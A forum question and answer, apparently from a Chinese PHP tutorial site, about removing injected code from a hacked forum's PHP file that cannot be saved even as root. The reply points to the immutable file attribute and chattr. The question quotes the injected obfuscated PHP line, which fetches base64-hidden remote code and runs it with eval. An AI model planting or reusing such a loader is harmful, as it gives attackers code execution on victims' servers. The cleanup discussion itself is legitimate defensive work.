linux - E212: Can't open file for writing怎么整?
PHP中文网
PHP中文网 2017-04-17 11:26:26
0
1
816

网站论坛被挂码,找到了那个文件所在!! 有一段这东西: eval(base64decode(filegetcontents(base64decode('aHR0cDovL2FwaS5iY3RiYnMubmV0L2JldC50eHQ='))));

用 vi打开删除了这一段 然后esc :wq

保存不行

再次:wq!还是不行

再来,chmod +w 666 function_forum.php

还不行,提示我没有权限。。。

我是root登录的怎么还能没有权限呢?

PHP中文网
PHP中文网

认证高级PHP讲师

全員に返信(1)
小葫芦

目测是被设置了 immutable 属性。

试试:

$ lsattr some_file
----i--------e- some_file

如果有这个 i 的话,sudo chattr -i some_file 干掉它,然后就可以修改了。

A file with the `i' attribute cannot be modified: it cannot be deleted or renamed, no link can be created to this file and no data can be written to the file. Only the superuser or a process possessing the CAPLINUXIMMUTABLE capability can set or clear this attribute.

いいねを押す +0
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート
私たちについて 免責事項 Sitemap
PHP中国語ウェブサイト:福祉オンライン PHP トレーニング,PHP 学習者の迅速な成長を支援します!